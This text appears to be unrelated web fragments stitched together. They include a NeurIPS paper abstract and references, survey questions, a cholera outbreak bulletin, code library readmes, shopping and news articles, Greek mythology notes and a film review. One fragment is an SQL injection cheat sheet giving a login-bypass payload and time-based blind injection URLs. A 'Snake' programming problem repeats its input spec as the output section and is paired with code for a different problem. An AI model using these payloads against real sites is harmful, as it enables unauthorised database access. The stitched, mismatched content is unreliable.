nips nips2013 nips2013-112 nips2013-112-reference knowledge-graph by maker-knowledge-mining
Source: pdf
Author: Min Xu, Tao Qin, Tie-Yan Liu
Abstract: In search advertising, the search engine needs to select the most proﬁtable advertisements to display, which can be formulated as an instance of online learning with partial feedback, also known as the stochastic multi-armed bandit (MAB) problem. In this paper, we show that the naive application of MAB algorithms to search advertising for advertisement selection will produce sample selection bias that harms the search engine by decreasing expected revenue and “estimation of the largest mean” (ELM) bias that harms the advertisers by increasing game-theoretic player-regret. We then propose simple bias-correction methods with beneﬁts to both the search engine and the advertisers. 1
[1] K. Alam. A two-sample estimate of the largest mean. Annals of the Institute of Statistical Mathematics, 19(1):271–283, 1967.
[2] M. Babaioff, R.D. Kleinberg, and A. Slivkins. Truthful mechanisms with implicit payment computation. arXiv preprint arXiv:1004.3630, 2010.
[3] S. Blumenthal and A. Cohen. Estimation of the larger of two normal means. Journal of the American Statistical Association, pages 861–876, 1968.
[4] Bhaeiyal Ishwaei D, D. Shabma, and K. Krishnamoorthy. Non-existence of unbiased estimators of ordered parameters. Statistics: A Journal of Theoretical and Applied Statistics, 16(1):89–95, 1985.
[5] N.R. Devanur and S.M. Kakade. The price of truthfulness for pay-per-click auctions. In Proceedings of the tenth ACM conference on Electronic commerce, pages 99–106, 2009.
[6] Benjamin Edelman, Michael Ostrovsky, and Michael Schwarz. Internet advertising and the generalized second price auction: Selling billions of dollars worth of keywords. Technical report, National Bureau of Economic Research, 2005.
[7] N. Gatti, A. Lazaric, and F. Trov` . A truthful learning mechanism for contextual multi-slot o sponsored search auctions with externalities. In Proceedings of the 13th ACM Conference on Electronic Commerce, pages 605–622. ACM, 2012.
[8] R. Gonen and E. Pavlov. An incentive-compatible multi-armed bandit mechanism. In Proceedings of the twenty-sixth annual ACM symposium on Principles of distributed computing, pages 362–363. ACM, 2007.
[9] S.M. Li, M. Mahdian, and R. McAfee. Value of learning in sponsored search auctions. Internet and Network Economics, pages 294–305, 2010.
[10] Noam Nisan, Tim Roughgarden, Eva Tardos, and Vijay V Vazirani. Algorithmic game theory. Cambridge University Press, 2007.
[11] Sandeep Pandey and Christopher Olston. Handling advertisements of unknown quality in search advertising. Advances in Neural Information Processing Systems, 19:1065, 2007.
[12] A.D. Sarma, S. Gujar, and Y. Narahari. Multi-armed bandit mechanisms for multi-slot sponsored search auctions. arXiv preprint arXiv:1001.1414, 2010.
[13] J. Wortman, Y. Vorobeychik, L. Li, and J. Langford. Maintaining equilibria during exploration in sponsored search auctions. Internet and Network Economics, pages 119–130, 2007. 9


Survey Questions
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Question 1
Your mind is always buzzing with unexplored ideas and plans.
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1 (Strongly Disagree)
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3
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5 (Strongly Agree)
Question 2
Generally speaking, you rely more on your experience than your imagination.
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5 (Strongly Agree)
Question 3
You find it easy to stay relaxed and focused even when there is some pressure.
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You rarely do something just out of sheer curiosity.
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People can rarely upset you.
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Question 6
It is often difficult for you to relate to other people’s feelings.
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In a discussion, truth should be more important than people’s sensitivities.
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You rarely get carried away by fantasies and ideas.
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You think that everyone’s views should be respected regardless of whether they are supported by facts or not.
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You feel more energetic after spending time with a group of people.
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26 November 1997
Disease Outbreak Reported
A total of 4 301 cases and 146 deaths (3.4%) had been notified up to 25 November in Maputo City, other areas of Maputo Province and Xai-Xai City in Gaza Province, of which 2 637 cases were registered since 7 November. Maputo City continues to be the most affected area with 92% of all cases reported. However, the daily admissions at the central hospital in Maputo City has declined from over 200 to 150. Up to 22 November, 63 cases (no deaths) had been reported in Xai-Xai City, Gaza Province since the outbreak started there on 5 November. Three suspect cases and one death were notified in Chokwe district in the same province on 24 November.
The government has reactivated the National Commission for Emergency Management which is chaired by the Prime Minister and the Minister of Health has set up and chairs the National Technical Commission for the daily coordination of all technical aspects of the campaign. WHO is working closely with the national authorities to coordinate the international response and mobilize resources.
Several countries (Egypt, Italy, Portugal, Spain) responded to Government appeals with funds, rehydration fluid, tents and technical assistance. Médecins Sans Frontières has organized a new treatment facility and is assisting in control activities. Agencies interested in further supporting the control activities can contact the WHO Cholera Task Force for details on immediate and long term activities (fax: 41-22-791 4893 or e-mail [email protected]).


---
layout: post
title: The Lobster voice
date: '2006-10-09T14:59:00.000Z'
author: tknv
tags:
modified_time: '2006-11-05T19:53:48.217Z'
blogger_id: tag:blogger.com,1999:blog-11459759.post-116040604175353654
blogger_orig_url: http://phichyudebow.blogspot.com/2006/10/lobster-voice.html
---
The sounds like a Ghgigigi Ghgigi
at Mama-ya


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Commercial exploitation and application of blockchain, cryptocurrency, DLT and exotic digital assets
Contact.


Smart Loader is a basic jQuery plugins that gives you the possibility to launch a function after all images are loaded. Two callbacks are provided to fully personalize the way the plugin behaves. It works with jQuery 1.9.x and the newest 2.0.x branch.
More infos has been written on GitGub repository page, but the code down here should give you a good idea on how this plugin works.
$(function () { "use strict"; $(document).smartLoader({ // main control option can be **document** or **images** // the first check the whole document and than calls the callback, // the second does the same but place into every image that is waiting to be // fully loaded an animated gif theControl: 'document', // **howManySeconds** is the maximum time you want to wait for // images to be fully loaded expressed in milliseconds. // After this amount of time the function throws the **errorCallback** howManySeconds: 5000, // **lengthOfLoop** this is the time delay between every single check loop, // expressed in milliseconds, should be no less than 200. lengthOfLoop: 200, // the callback in case any image is successfully loaded callback: function () { $('#smart-dimmer').fadeOut(1000); console.log('this is the callback'); }, // the callback in case there was one or more images // that failed to load in the prefixed amount of time errorCallback: function () { $('#smart-dimmer').fadeOut(1000); console.log('missing images'); } }); });
Easy and simple: put the smart-loader-loaders folder inside the root of your website, link smart-loader.min.js.
If you need help you can contact me on Twitter @jenoma or on ADN @genoma.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ntation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.


featured work mockup to article https://mockup-to-article animal trading card https://animal-trading-card My Portfolio https://portfolio-design


Lina
Tips
- While Lina has a terrible auto-attack animation, she also has ludicrous range to compensate. Few heroes
can trade hits with you, despite your pizza spinning auto attack.
- It's okay to blow a few spells to keep Fiery Soul stacks up. Once you have a high enough mana regen, you
can keep yourself at Sonic speeds by alternating between Dragon Slave and LSA. Build up stacks in the
fountain before a TP or use spells on nothing to speed up an escape.
 Abuse it.
- An Agh upgraded Laguna can target and kill couriers.
Counters
- Laguna Blade will only penetrate BKB once Lina gets an Aghanim's Scepter.


{% block ixp_news %}
Jan 22, 2018 – {{ ix.shortname }} goes live and ready to accept peers.
October 30, 2017 – M-Lab site live in Moncton (performance.cira.ca)
June 16, 2017 – CIRA procures rack space at Fibre Center and provides colocation space to host and operate Moncton Internet Exchange along with Leon A. Morris as a volunteer.
April 26, 2017 - A Press Conference and a Town Hall meeting was held in Moncton for the purposes of starting an internet exchange in New Brunswick.


Instructions
1
Hiding behind one of these doors is the ChoreBot.
2
Your mission is to open all of the doors without running into the ChoreBot.
3
If you manage to avoid the ChoreBot until you open the very last door, you win!
4
See if you can score a winning streak!
Good luck!


User to User | Demo
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In this demo every user has a color, change your color and everyone else will see your color.
My Color
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Group Settings
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overlayShim content (ie. close prompt)


Shop Anthro's Tops Sale If You're Tired of Wearing the Same Sweaters
by Kelsey MulveyNow that the season of flip flops and sundresses is officially in the rearview mirror until April (if we're lucky), it’s time to kick our winter wardrobe into high gear. Right now, Anthropologie is offering 50 percent off a handful of tops, including cozy turtlenecks and pullovers.
Admittedly, inventory is limited, but if you don't want to wear the same sweater to work three days in a row, you won’t be disappointed. The sale ends at midnight on November 20, so make sure to shop our favorite finds, below, before they sell out.
1. Rafela Hacci Surplice Top
Maeve Anthropologie
SHOP IT
$88
$44
If you want to stray away from the typical crew neck or cardigan, feast your eyes on this wrap style. Throw on a pair of jeans with it and you’re good to go!
2. Nori Waffle Pullover
Anthropologie
SHOP IT
$68
$34
Whether you’re running errands, grabbing brunch, or spending a lazy Sunday with bae (read: Netflix and chill), this pullover will become your winter wardrobe hero.
3. Constance Bell-Sleeved Pullover
Anthropologie
SHOP IT
$119
$59
Found: A wearable blanket that's actually cute. I mean, look at those bell sleeves!
4. Ainsley Thermal Turtleneck
Maeve Anthropologie
SHOP IT
$68
$34
This turtleneck from Maeve comes in several colors, and with this sale, you can buy two for the price of one!
5. Eliza Henley Babydoll Tunic
Maeve Anthropologie
SHOP IT
$68-$78
$34-$39
A Henley and tunic rolled into one style? Consider us sold.
6. Vicky Thermal Waffle Tunic
T.La Anthropologie
SHOP IT
$78
$39
If you can't resist a fun camo print, this waffle tunic is the perfect base layer for you.
7. Lia Hacci Kimono
Maeve Anthropologie
SHOP IT
$88
$48
Calling all cardigan lovers: This sleek pick is on sale for less than $50.
8. Dorotea Space-Dyed Hacci Tunic
Eri + Ali Anthropologie
SHOP IT
$78
$39
Raise your hand if you think this tunic looks ridiculously comfortable. 🙋♀
9. Pippa Hacci Turtleneck
Saturday/Sunday Anthropologie
SHOP IT
$78
$39
Saturday/Sunday’s striped turtleneck is equal parts stylish and sensible, and looks great with a jean jacket, as shown here.
10. Elisabeth Waffle Top
Anthropologie
SHOP IT
$48
$24
Anthropologie’s waffle top is truly perfect for any occasion. Yes, including bedtime.
•••
For more stories like this, including celebrity news, beauty and fashion advice, savvy political commentary, and fascinating features, sign up for the Marie Claire newsletter.


async/await-compatible Promise-based priority queues
Bare-bones implementation
zero-dependency if you are not rebuilding the minified versions yourself.
This is an interesting solution to the priority queues problem.
There are other Promise-based queues out there but they are not async/await compatible and do not support priorities.
It guarantees order and never wakes up contexts that won't run.
I use it with tens of thousands of jobs on the queue. O(1) on the number of jobs, O(n) on the number of different priorities, so be reasonable. Just make sure to awalys call .end().
These can be used to rate-limit expensive external API requests.
The queues keep references to the Promise resolve() function and resolve it from outside of the Promise constructor. This is a very unusual use of Promises to implement locks that I find interesting. The language specification doesn't make it clear if this is allowed or not, but it seems to work very well. It works both in the browser and in Node.js.
Install
npm install --save async-await-queue
Typical usage
Require as CJS/UMD
const Queue = require('async-await-queue');
Import as ES Module
import Queue from 'async-await-queue';
(or read the jsdoc)
const Queue = require('async-await-queue');
/* No more than 2 concurrent tasks with
* at least 100ms between two tasks
*/
const myq = new Queue(2, 100);
....
const myPriority = -1;
/* This function will launch tasks and will
* wait for them to be scheduled, returning
* only when all tasks have finished
*/
async function downloadTheInternet() {
for (let site of Internet) {
/* The third call will wait for the previous two to complete
* plus the time needed to make this at least 100ms
* after the second call
* The first argument needs to be unique for every
* task on the queue
*/
const me = Symbol();
/* We wait in the line here */
await myq.wait(me, myPriority);
/* Do your expensive async task here
* Queue will schedule it at
* no more than 2 parallel running requests
* launched at least 100ms apart
*/
download(site)
/* Signal that we are finished */
/* Do not forget to handle the exceptions! */
.catch((e) => console.error(e))
.finally(() => myq.end(me));
}
return await myq.flush();
}
/* This function will execute a single task
* waiting for its place in the queue
*/
async function downloadTheInternet() {
let p;
/* The third call will wait for the previous two to complete
* plus the time needed to make this at least 100ms
* after the second call
* The first argument needs to be unique for every
* task on the queue
*/
const me = Symbol();
/* We wait in the line here */
await myq.wait(me, myPriority);
/* Do your expensive async task here
* Queue will schedule it at
* no more than 2 parallel running requests
* launched at least 100ms apart
*/
try {
await download(site);
} catch (e) {
console.error(e);
} finally {
/* Signal that we are finished */
/* Do not forget to handle the exceptions! */
myq.end(me);
}
}
/* This function will schedule all the taks and
* then will return immediately a single Promise
* that can be awaited upon
*/
async function downloadTheInternet() {
const q = [];
for (let site of Internet) {
/* The third call will wait for the previous two to complete
* plus the time needed to make this at least 100ms
* after the second call
* The first argument needs to be unique for every
* task on the queue
*/
const me = Symbol();
q.push(myq.wait(me, myPriority)
.then(() => download(site))
.catch((e) => console.error(e))
.finally(() => myq.end(me)));
}
return Promise.all(q);
}


--- layout: post title: Axa date: '2014-07-09T07:30:25+02:00' categories: - Storyboards picture_url: https://film-Storyboards.tumblr.com/post/91247187212 ---


Hello there. My name is John Ludena, a designer and front-end developer with a passion for building user interfaces people enjoy truly love.
I'm currently working as a web developer at Chevron's in-house creative studio. I'm also a UI/UX development consultant for AskDOSS, the world's first real estate search engine powered by IBM Watson.
I have a candid romance with the written word and have published a few articles on Medium about a variety of topics including design, development, business, and life. Please check those out if you want to get to know me a little better.
At the moment, I'm taking a break from all social media so you won't find me active on Twitter, Facebook, Instagram, Snapchat, Soxial or SnipeDeeDoo (I made the last two up).
The only platform I still keep up with is LinkedIn, so please feel free to add me if you want to connect professionally. Need to get in touch quickly? Shoot me an email here instead.
Thank you for stopping by.
All the best,
PS - Want to become BFFs? Subscribe to my email list to get updates on what projects I'm working on next.


Welcome to theWebs
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AI integrated Website for your business
We are an innovative and creative web Development Company and our primary focus is to improvise our services with new features which can ensure the way to success for the clients.
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We are an innovative and creative web Development Company and our primary focus is to improvise our services with new features which can ensure the way to success for the clients.
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Websites promote you 24/7: No employee will do that.
We will create modern websites for your business .
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Your mobile device has quickly become the easiest portal into your digital self.
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The intelligent chatbot comes with the ability to understand user context and work autonomously to achieve that goal using machine learning and AI.
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An Enterprise resource planning (ERP) software or system development helps organizations better manage their resources.


West Nile Virus Predictor uses the CatBoostClassifier model that was trained on the mosquito traps data provided by the city of Chicago, and the weather data provided by NOAA, both of which are available on Kaggle. This model is based solely on climate and location, so by choosing the dates provided, you are providing the climate feature for the specific date. Choosing any location on this map will locate the nearest trap to predict the probability of the occurance of West Nile virus.


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Young Adults Prefer ‘Friendsgiving’ Over ‘Thanksgiving’
by Johnny ThrashGo figure – millennials would rather hang out with their friends than their family during the holiday season. Sorry if I come off as snarky, it’s just that I believe most people would rather hang out with friends than family because, well, unlike family, you choose your friends.
A study conducted by OnePoll, on behalf of Sabra polled 2,000 Americans between the ages of 18 and 38 and found that 68 percent prefer ‘Friendsgiving’ as their autumnal festivity.
Here are the main reasons why:
1. Friendsgiving is more social.
2. They get to avoid personal questions from their family.
3. They feel less pressure to impress their guests.
4. They don't have to watch what they say at the dinner table.
5. They don't have to worry about offending a relative.
In other words, young people (and most people of all ages I know) would rather avoid conflict.


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ERROR BASED
Specific DB characters
; query separator
-- comment
Basic login form auth bypass
https:/vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1
BLIND
Test for SQLi vulnerabilty - time sleep
If response take more then 5 secs we have SQLi (assuming id is string parameter)
http://<IP_ADDRESS>/comment.php?id=738'; waitfor delay '0:0:5'--
If response take more then 5 secs we have SQLi (assuming id is number parameter)
http://<IP_ADDRESS>/comment.php?id=738; waitfor delay '0:0:5'--


Snake
问题描述 :
Snake is a popular game , and I believe most of us had played it . The Original game is that you can control a snake to eat the magic bean and after the snake eat one magic bean , the length of the snake’s body will get longer .But today we are talking about a new game. These are the rules of the new Snake Game :
1. The length of the snake’s body won’t change even though it eat a magic bean.
2. Some pairs of the beans have a relation , that is, one of them can not be eaten until another one had been eaten . We call the latter “the key bean” . For example , if A can’t be eaten until B had been eaten ,we say “B is the key bean of A”. (That means when A can’t be eaten , the snake can not move into the grid where A is.)
3. The snake could not move to a wall or its body.Befor it move,it will chooses an adjacent vacant square of its head,which is neither a stone nor occupied by its body.
Figure 1 and figure2 shows how the snake move
Figure 1
Figure 2
1. The length of the snake’s body won’t change even though it eat a magic bean.
2. Some pairs of the beans have a relation , that is, one of them can not be eaten until another one had been eaten . We call the latter “the key bean” . For example , if A can’t be eaten until B had been eaten ,we say “B is the key bean of A”. (That means when A can’t be eaten , the snake can not move into the grid where A is.)
3. The snake could not move to a wall or its body.Befor it move,it will chooses an adjacent vacant square of its head,which is neither a stone nor occupied by its body.
输入:
The first line contain a integer T (T <= 10).Followed by T cases. Each case contain five parts.
The first part: six integers ,H,W,L,K,R,N,(H <= 20 , W <= 20 , L <= 8 , K <= 7 ) means the height of the map , the width of the map , the length of the snake’s body, the number of the magic beans . the number of the relations , the number of the wall respectively.
The second part: L lines , each line contain two integer hi ,wi, indicating the original position of each block of snake’s body, from B1(h1,w1) to BL(hL,wL) orderly, where 1<=hi<=H, and 1<=wi<=W,1<=i<=L.
The third part: K lines ,each line contain two integer hi ,wi , indicating the position of each magic bean , from MB1(h1,w1) to MBK(hK,wK) orderly, where 1<=hi<=H, and 1<=wi<=W,1<=i<=K.
The fourth part : R lines , each line contain two integer A ,B means “A is the key bean of B ”. The A and B may appear several times , but “one bean will have only one key bean”.
The fifth part: N lines , each line contain two integer hi ,wi , indicating the position of each wall , from W1(h1,w1) to WN(hN,wN) orderly, where 1<=hi<=H, and 1<=wi<=W,1<=i<=N.
The first part: six integers ,H,W,L,K,R,N,(H <= 20 , W <= 20 , L <= 8 , K <= 7 ) means the height of the map , the width of the map , the length of the snake’s body, the number of the magic beans . the number of the relations , the number of the wall respectively.
The second part: L lines , each line contain two integer hi ,wi, indicating the original position of each block of snake’s body, from B1(h1,w1) to BL(hL,wL) orderly, where 1<=hi<=H, and 1<=wi<=W,1<=i<=L.
The third part: K lines ,each line contain two integer hi ,wi , indicating the position of each magic bean , from MB1(h1,w1) to MBK(hK,wK) orderly, where 1<=hi<=H, and 1<=wi<=W,1<=i<=K.
The fourth part : R lines , each line contain two integer A ,B means “A is the key bean of B ”. The A and B may appear several times , but “one bean will have only one key bean”.
The fifth part: N lines , each line contain two integer hi ,wi , indicating the position of each wall , from W1(h1,w1) to WN(hN,wN) orderly, where 1<=hi<=H, and 1<=wi<=W,1<=i<=N.
输出:
The first line contain a integer T (T <= 10).Followed by T cases. Each case contain five parts.
The first part: six integers ,H,W,L,K,R,N,(H <= 20 , W <= 20 , L <= 8 , K <= 7 ) means the height of the map , the width of the map , the length of the snake’s body, the number of the magic beans . the number of the relations , the number of the wall respectively.
The second part: L lines , each line contain two integer hi ,wi, indicating the original position of each block of snake’s body, from B1(h1,w1) to BL(hL,wL) orderly, where 1<=hi<=H, and 1<=wi<=W,1<=i<=L.
The third part: K lines ,each line contain two integer hi ,wi , indicating the position of each magic bean , from MB1(h1,w1) to MBK(hK,wK) orderly, where 1<=hi<=H, and 1<=wi<=W,1<=i<=K.
The fourth part : R lines , each line contain two integer A ,B means “A is the key bean of B ”. The A and B may appear several times , but “one bean will have only one key bean”.
The fifth part: N lines , each line contain two integer hi ,wi , indicating the position of each wall , from W1(h1,w1) to WN(hN,wN) orderly, where 1<=hi<=H, and 1<=wi<=W,1<=i<=N.
The first part: six integers ,H,W,L,K,R,N,(H <= 20 , W <= 20 , L <= 8 , K <= 7 ) means the height of the map , the width of the map , the length of the snake’s body, the number of the magic beans . the number of the relations , the number of the wall respectively.
The second part: L lines , each line contain two integer hi ,wi, indicating the original position of each block of snake’s body, from B1(h1,w1) to BL(hL,wL) orderly, where 1<=hi<=H, and 1<=wi<=W,1<=i<=L.
The third part: K lines ,each line contain two integer hi ,wi , indicating the position of each magic bean , from MB1(h1,w1) to MBK(hK,wK) orderly, where 1<=hi<=H, and 1<=wi<=W,1<=i<=K.
The fourth part : R lines , each line contain two integer A ,B means “A is the key bean of B ”. The A and B may appear several times , but “one bean will have only one key bean”.
The fifth part: N lines , each line contain two integer hi ,wi , indicating the position of each wall , from W1(h1,w1) to WN(hN,wN) orderly, where 1<=hi<=H, and 1<=wi<=W,1<=i<=N.
样例输入:
1 8 9 5 2 1 8 5 2 6 2 6 3 6 4 6 5 4 2 2 6 2 1 2 5 3 5 4 4 4 5 4 6 5 6 5 7 6 7
样例输出:
21
典型的指数型母函数因为最后是取模，所以最后一定有周期,注意周期起始位置不一定从第一个开始实际上该题从>=3开始以20为周期
#include<cstring> #include<cstdio> #include<iostream> using namespace std; int cal(int x,int y) { int ans=1; while(y) { if(y&1) ans=(ans*x)%100; y>>=1; x=(x*x)%100; } return ans; } int rr[25]; int main() { __int64 n,nn; for(int i=1; i<=20; ++i) { rr[i]=cal(2,i+20-1); rr[i]=rr[i]*rr[i]+rr[i]; rr[i]%=100; } while(scanf("%I64d",&n)&&n!=0) { long long count=0; while(n--) { count++; scanf("%I64d",&nn); printf("Case %d: ",count); if(nn==1) printf("2\n"); else if(nn==2) printf("6\n"); else { nn=(nn+19)%20+1; printf("%d\n",rr[nn]); } } printf("\n"); } return 0; }
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好了，不说了，是在下楼。另外文莱王妃的那束捧花是扔出去的吗？
太变态了。我用hash居然超时了。这样break掉居然都行啊。。。
这个问题别太纠结了，不同的编译器结果不一
C语言版本的代码好像有点问题
还真是，i7的cpu跑了3秒
从数学角度确实是C(n,r)，能给个递推关系式吗，从分治的角度不好理解
第二种想法，我想来好久，为啥需要一个newhead，发现是把最后一个节点一直返回到嘴上面这层函数。厉害，这道题之前没样子想过。
面霸网。www.51mx.org
,,,,,,,,,,,,,,,
多谢提醒
int L[m+1][n+1];这样定义出错，这个在gcc上可以编译通过 在VS上不行 应该改为new 或者vector
很好！！
什么破题，题意好难懂啊


In Greek mythology the primordial deities are the first entities or beings that come into existence. These deities are a group of gods from which all the other gods descend. They preceded the Titans, the descendants of Gaia and Uranus.
The primordial gods are depicted as places or realms. A common example is Tartarus, who is depicted as the Underworld, Hell, and a bottomless abyss. His sibling, Erebus, is also depicted as a place of pitch-black darkness or a vast emptiness of space. Their mother, Chaos, is depicted as an empty void. Other siblings that include Gaia are depicted as Mother Nature or the Earth. Pontus or Hydros are depicted as the oceans, lakes, and rivers. Chronos is depicted as time and of eternity.
Titans were a primeval race of powerful deities, descendants of Gaia (Earth) and Uranus (Sky), that ruled during the legendary Golden Age. They were immortal giants of incredible strength and were also the first pantheon of Greek gods and goddesses.
In the first generation of twelve Titans, the males were Oceanus, Hyperion, Coeus, Cronus, Crius, and Iapetus and the females—the Titanesses or Titanides—were Mnemosyne, Tethys, Theia, Phoebe, Rhea, and Themis. The second generation of Titans consisted of Hyperion's children Helios, Selene and Eos; Coeus's daughters Leto and Asteria; Iapetus's children Atlas, Prometheus, Epimetheus, and Menoetius; Oceanus' daughter Metis; and Crius' sons Astraeus, Pallas, and Perses.
In the ancient Greek religion, the Twelve Olympians are the major deities of the Greek pantheon, commonly considered to be Zeus, Hera, Poseidon, Demeter, Athena, Apollo, Artemis, Ares, Aphrodite, Hephaestus, Hermes and either Hestia, or Dionysus. Hades and Persephone were sometimes included as part of the twelve Olympians (primarily due to the influence of the Eleusinian Mysteries), although in general Hades was excluded, because he resided permanently in the underworld and never visited Mount Olympus. Heracles and Asclepius were sometimes included as well.
The Muses, in Greek mythology, poetry and literature, are the goddesses of the inspiration of literature, science and the arts. They were considered the source of the knowledge, related orally for centuries in the ancient culture, that was contained in poetic lyrics and myths.
The Muses were both the embodiments and sponsors of performed metrical speech: mousike was just "one of the arts of the Muses". Others included Science, Geography, Mathematics, Philosophy, and especially Art, Drama, and inspiration. Some authors invoke Muses when writing poetry, hymns or epic history. The invocation typically occurs at or near the beginning, and calls for help or inspiration, or simply invites the Muse to sing through the author.
A nymph in Greek mythology and in Latin mythology is a minor female nature deity typically associated with a particular location or landform. Different from goddesses, nymphs are generally regarded as divine spirits who animate nature, and are usually depicted as beautiful, young nubile maidens who love to dance and sing; their amorous freedom sets them apart from the restricted and chaste wives and daughters of the Greek polis. They are believed to dwell in mountains and groves, by springs and rivers, and also in trees and in valleys and cool grottoes. Although they would never die of old age nor illness, and could give birth to fully immortal children if mated to a god, they themselves were not necessarily immortal, and could be beholden to death in various forms. Charybdis and Scylla were once nymphs.


I grind HTML and CSS and then weld them with javascript into beautiful and efficient websites.I like to code things from scratch, and enjoy bringing ideas to life in the browser.I have a passion for web design and love to create for web and mobile devices.I’m an aspiring web designer who loves everything about the web.I’d like to work for a web design firm helping clients create an impressive online presence.I am a self taught developer ,who loves to challenge himself into learning new things .
Natalija Gormalova is a documentary photographer and filmmaker born in Latvia in 1987. She studied MA Photography at the Royal College of Art in London. Since 2015 she has been working in Ghana and South Africa. In her photographic works Natalija focuses on social issues and shifting cultures and identities in contemporary Africa and beyond. Her work has been exhibited at the 4th Thessaloniki Biennale of Contemporary Art in Greece, Folkestone Fringe Triennial in the UK, “Altitude+1000” Photography Festival in Switzerland, and Ghana Portrait Prize. Recently, Natalija has co-directed and filmed her first feature documentary about the youth in the fishing villages of Ghana that has been broadcasted on TVNZ on Demand.
AKILU FARMS is located at Kanyakope in the Volta Region of Ghana. Presently we have a little over 800 layers and over a 1000 broilers at the farm which will increase by the first quarter of 2019. Our poultry are reared to the highest standard of quality. Poultry feed is self-prepared to ensure the chicks get the required necessary nutrients and in the right amounts at every stage of their development cycle.The broilers are also organically reared and their meat goes through a hygienic preparation method, in the best of environment before being packaged for sale.
Lorem ipsum dolor sit, amet consectetur adipisicing elit. Excepturi neque, ipsa animi maiores repellendus distinctio aperiam earum dolor voluptatum consequatur blanditiis inventore debitis fuga numquam voluptate ex architecto itaque molestiae.


Calvin Klein-owner PVH Corp raises FY profit outlook on strong demand in Europe
(Reuters) - PVH Corp (PVH.N) raised full-year adjusted profit forecast on Monday after its third-quarter results beat Wall Street expectations, powered by higher demand for its Calvin Klein and Tommy Hilfiger apparel in Europe.
The New York-based company has been trying to attract millennial shoppers by sponsoring social media influencers including 23-year-old model Bella Hadid, singer Billie Eilish and British F1 racer Lewis Hamilton to promote its brands.
Total revenue rose 2.5% to $2.59 billion, above average analysts’ estimate of $2.54 billion, according to IBES data from Refinitiv.
The company now expects to earn between $9.43 and $9.45 per share for full year 2019 on an adjusted basis, compared with its prior range of $9.30 to $9.40.
Sales at Tommy Hilfiger, its biggest revenue generator, jumped about 10% to $1.24 billion.
Calvin Klein, which is recovering from the fashion missteps it made last year, saw sales rise marginally to $968.9 million.
Excluding items, the company earned $3.10 per share, beating average analysts’ estimate of $3 per share.
Net income attributable to the company fell to $209.2 million, or $2.82 per share in the quarter ended Nov 3, from $243.1 million, or $3.15 per share, a year earlier.
Shares of the New York-based company were slightly up at $101 in aftermarket trading.
(This story adds dropped word demand in headline)


 If this were a real site, it would be the ideal place to come to learn more about birdwatching, whether you are a beginner looking to learn how to get into birding, or an expert wanting to share ideas, tips, and photos with other like-minded people.
So don't waste time!
This fake website example is CC0 — any part of this code may be reused in any way you wish. Original example written by Chris Mills, 2016.
Dove icon by Lorc.


New York Yankees hire female hitting instructor in historic first: report
by Ryan GaydosThe New York Yankees made a historic hire Friday, reportedly naming Rachel Balkovec as a hitting instructor who will be helping the organization at the major- and minor-league level.
Balkovec will be one of the first full-time female hitting coaches hired by an MLB team, The New York Times reported Friday. She is expected to report to the team’s spring training facility in Tampa, Fla., come February. Balkovec boasts two master’s degrees in the science of human movement, according to MLB.com.
NEW VIDEO SHOWS HOW HOUSTON ASTROS ALLEGEDLY USED WHISTLES TO TIP PITCHES TO BATTERS
“It’s an easy answer to why we chose Rachel for this role,” Yankees hitting coordinator Dillon Lawson told The Times. “She’s a good hitting coach, and a good coach, period.”
Balkovec entered the majors with the St. Louis Cardinals as a part-time strength and conditioning coach and became the minor league strength and conditioning coordinator for the club in 2014.
YASMANI GRANDAL, CHICAGO WHITE SOX AGREE TO 4-YEAR CONTRACT
Two years later, she became the Houston Astros’ Latin American strength and conditioning coach and then, in 2018, she became the strength and conditioning coach for the Astros’ Double-A affiliate Corpus Christi Hooks.
Balkovec told The Times she faced discrimination when she was applying for jobs in Major League Baseball. She said she only started to receive interest when she changed her name on her resume to “Rae” and one team even told her they would “never hire a woman.”
CLICK HERE FOR MORE SPORTS COVERAGE ON FOXNEWS.COM
Balkovec had previously been a collegiate catcher on her softball teams. She played at Creighton and New Mexico during her college career.


This class provides an empty implementation of JtrueListener,
which can be extended to create a listener which only needs to handle a subset
of the available methods.
This class provides an empty implementation of JtrueVisitor,
which can be extended to create a visitor which only needs to handle a subset
of the available methods.


O RATING: 7/10
For more reviews and movie trailers, visit http://www.joblo.com/
PLOT: Odin is a great high school basketball player.  In fact, the coach even admits to having fatherly feelings towards him. Unfortunately, the coach's real son, Hugo, isn't too pleased to hear that. In fact, he doesn't like hearing about any of Odin's triumphs, as they generally supersede his own. So what does he set out to do? Well, let's just say that he starts to mess with people's heads and one thing leads to another thing which leads to...well, you'll see.
 Credit director Tim Blake Nelson for creating a modern day version of this Shakespearian classic, set in a realistic high school environment, with the basketball championships as the backdrop and an impending sense of doom as it core. You also have to give it up to all of the actors in this film, who turn over some very convincing performances, taking you through all of their characters' ups and downs.  Phifer also comes to play in this movie, with a nice blend of charisma, fear, love and anger spread over his character. I was always on this guy's side and definitely felt sorry for him as things moved along. Julia Stiles was also good, but her character wasn't much different from others that she's played recently. I was however very surprised with Martin Sheen's showing, since I hadn't taken him too seriously as an actor over the past few years. His character is definitely over-the-top in this film, but I appreciated his fervor, his rage, his ultimate and blind desire to win above all. A great example of a workaholic man who cannot see the trees from the forest.
